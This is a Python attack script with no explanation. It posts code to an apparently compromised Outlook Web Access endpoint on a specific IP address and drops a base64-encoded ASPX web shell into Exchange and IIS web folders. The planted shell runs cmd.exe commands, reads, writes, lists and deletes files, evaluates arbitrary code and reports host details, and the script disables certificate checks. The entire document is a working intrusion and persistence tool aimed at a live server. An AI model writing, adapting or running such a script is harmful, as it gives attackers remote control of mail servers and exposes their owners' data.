#!/usr/bin/env python3
import requests, base64
requests.packages.urllib3.disable_warnings()
EVAL = "https://103.167.140.144/owa/auth/mdcajy.aspx"

SHELL = (
'<script language="JScript" runat="server" Page aspcompat=true>'
'function run(c){try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="C:\\\\Windows\\\\System32\\\\cmd.exe";'
'p.StartInfo.Arguments="/c "+c;p.StartInfo.UseShellExecute=false;p.StartInfo.RedirectStandardOutput=true;'
'p.StartInfo.RedirectStandardError=true;p.Start();var o=p.StandardOutput.ReadToEnd()+p.StandardError.ReadToEnd();'
'p.WaitForExit();return o;}catch(e){return "EXC:"+e.message;}}'
'function Page_Load(){var o="";try{'
'var c=Request["cmd"];if(c!=null){o+=run(c);}'
'var r=Request["rf"];if(r!=null){o+=System.IO.File.ReadAllText(r);}'
'var l=Request["lf"];if(l!=null){var d=new System.IO.DirectoryInfo(l);var fs=d.GetFileSystemInfos();'
'for(var i=0;i<fs.Length;i++){o+=fs[i].FullName+"|"+fs[i].LastWriteTime.ToString()+"\\r\\n";}}'
'var w=Request["wf"];if(w!=null){var b=Request["b64"];if(b!=null){System.IO.File.WriteAllBytes(w,System.Convert.FromBase64String(b));o+="WROTE:"+w;}}'
'var x=Request["del"];if(x!=null){System.IO.File.Delete(x);o+="DEL:"+(!System.IO.File.Exists(x));}'
'var z=Request["z"];if(z!=null){eval(z,"unsafe");}'
'}catch(e){o+="ERR:"+e.message;}'
'if(o==""){o="OK|"+System.Environment.UserName+"|"+System.Environment.MachineName+"|"+System.Environment.OSVersion;}'
'Response.Write(o);}'
'</script>'
)

b64 = base64.b64encode(SHELL.encode()).decode()
paths = [
 r"C:\inetpub\wwwroot\aspnet_client\c.aspx",
 r"C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\c.aspx",
]
for p in paths:
    js = ('try{System.IO.File.WriteAllBytes("%s",System.Convert.FromBase64String("%s"));'
          'Response.Write("DROP:"+System.IO.File.Exists("%s")+"|%s");}catch(e){Response.Write("ERR:"+e.message);}'
          ) % (p.replace("\\","\\\\"), b64, p.replace("\\","\\\\"), p)
    r = requests.post(EVAL, data={"exec_code": js}, verify=False, timeout=60)
    print(p, "->", repr(r.text.split('!BD')[0][:120]), flush=True)

print("len_src", len(SHELL), "len_b64", len(b64))